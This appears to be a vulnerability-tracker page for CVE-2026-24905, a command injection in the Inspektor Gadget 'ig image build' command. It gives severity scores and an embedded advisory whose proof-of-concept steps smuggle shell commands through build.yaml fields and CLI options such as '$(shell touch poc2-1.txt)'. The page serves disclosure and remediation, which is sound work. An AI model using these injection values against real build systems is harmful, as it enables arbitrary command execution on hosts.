CVE-2026-24905

highPriorität · verfolgen · 31EPSS 0.014 · 73. PerzentilEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
1.42% (73rd) EPSS
CVSS 7.8 · high
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · bewertet 2026-10-23

Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. The `ig` binary provides a subcommand for image building, used to generate custom gadget OCI images. A part of this functionality is implemented in the file `inspektor-gadget/cmd/common/image/build.go`. The `Makefile.build` file is the Makefile template employed during the building process. This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile. Prior to version 0.48.1, this implementation is vulnerable to command injection: an attacker able to control values in the `buildOptions` structure would be able to execute arbitrary commands during the building process. An attacker able to exploit this vulnerability would be able to execute arbitrary command on the Linux host where the `ig` command is launched, if images are built with the `--local` flag or on the build container invoked by `ig`, if the `--local` flag is not provided. The `buildOptions` structure is extracted from the YAML gadget manifest passed to the `ig image build` command. Therefore, the attacker would need a way to control either the full `build.yml` file passed to the `ig image build` command, or one of its options. Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness. Version 0.51.1 fixes the issue.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

7.8
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 4.8–7.8

v3.17.8highCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hprimary · NVD / NIST USAusnutzbarkeit 1.8 · Auswirkung 5.9
v4.06.6mediumCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:Psecondary · ENISA EU
v4.06.6mediumCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.04.8mediumCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: none · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-79qw-g77v-2vfhInspektor Gadget: Command Injection via malicious buildOptions manipulation2026-04-22ghsa · osvUS

    ### Impacted Resources `inspektor-gadget/cmd/common/image/build.go` `inspektor-gadget/cmd/common/image/helpers/Makefile.build` ### Description The `ig` binary provides a subcommand for image building, used to generate custom gadget OCI images. A part of this functionality is implemented in the file `inspektor-gadget/cmd/common/image/build.go`. The following is the code responsible to construct the build command: ```go func buildCmd(options buildOptions) []string { cmd := []string{ "make", "-f", filepath.Join(options.outputDir, "Makefile.build"), "-j", fmt.Sprintf("%d", runtime.NumCPU()), "OUTPUTDIR=" + options.outputDir, "CFLAGS=" + options.cFlags, "FORCE_COLORS=" + options.forceColorsFlag, } if options.ebpfSourcePath != "" { cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf") } if options.wasmSourcePath != "" { cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm") } if options.btfgen { cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen") } return cmd } ``` The `Makefile.build` file is the Makefile template employed during the building process. This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile. This implementation is vulnerable to command injection: an attacker able to control values in the `buildOptions` structure would be able to execute arbitrary commands during the building process. ### Impact An attacker able to exploit this vulnerability would be able to execute arbitray command: - on the Linux host where the `ig` command is launched, if images are built with the `--local` flag - on the build container invoked by `ig`, if the `--local` flag is not provided ### Attack Complexity The `buildOptions` structure is extracted from the YAML [gadget manifest](https://inspektor-gadget.io/docs/latest/gadget-devel/building#customizing-your-build) passed to the `ig image build` command. Therefore, the attacker would need a way to control either the full `build.yml` file passed to the `ig image build` command, or one of its options. Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness. ### PoC #### PoC 1 (Vector: cflags) 1. Create the file `build.yaml` with the following content: ``` ebpfsource: "program.bpf.c" metadata: "gadget.yaml" cflags: " ; touch poc1.txt ; " ``` 2. Create the file `gadget.yaml` with the following content: ``` name: test description: test gadget ``` 3. Create the file `program.bpf.c` with the following content: ``` #include <gadget/gadget.h> char LICENSE[] SEC("license") = "GPL"; ``` 4. In the same directory where the files are run the command: ``` ig image build . -t test:latest ``` 5. Notice that the file `poc1.txt` gets created inside the directory. #### PoC2 (Vector: ebpfsource, wasm) 1. Create the file `build.yaml` with the following content: ``` ebpfsource: "$(shell touch poc2-1.txt)" wasm: "$(shell touch poc2-2.txt)" ``` 2. Create the file `$(shell touch poc2-1.txt)`: ``` touch '$(shell touch poc2-1.txt)' ``` 3. In the same directory where the files are run the command: ``` ig image build . ``` 4. Notice that the files `poc2-1.txt` and `poc2-2.txt` get created inside the directory. #### PoC3 (Vector: -o, --output) 1. Create the file `build.yaml` with the following content: ``` wasm: dummy.go ``` 2. Create the file `gadget.yaml` with the following content: ``` name: test ``` 3. Create the directory `$(shell touch poc3.txt)`: ``` touch '$(shell touch poc3.txt)' ``` 4. Retrieve the full path of the created directory: ``` readlink -f '$(shell touch poc3.txt)' ``` 5. In the same directory where the files are run the command replacing the `<PATH>` placeholder with the value retrieved at step 4: ``` ig image build . --local -o '<PATH>' ``` 6. Notice that the file `poc3.txt` gets created inside the directory. #### PoC4 (Vector: --btfhub-archive) 1. Create the file `build.yaml` with the following content: ``` ebpfsource: test.c ``` 2. Create the file `test.c`: ``` touch test.c ``` 3. In the same directory where the files are run the command ``` sudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)' ``` 4. Notice that the file `poc4.txt` gets created inside the directory. ### Suggested Remediation Sanitize build options by providing a robust whitelist to filter on. Alternatively, revisit the design of image building to prevent shell substitution. ### References - https://cwe.mitre.org/data/definitions/77.html - https://cwe.mitre.org/data/definitions/78.html

  • GO-2026-5211Inspektor Gadget: Command Injection via malicious buildOptions manipulation in github.com/inspektor-gadget/inspektor-gadget2026-06-25vendor · osvUS

    Inspektor Gadget: Command Injection via malicious buildOptions manipulation in github.com/inspektor-gadget/inspektor-gadget

06

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07

quellen

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veröffentlicht 2026-01-29geändert 2026-06-17
08

Referenzen (9)

Externe Belege — Patches, Meldungen, Analysen.

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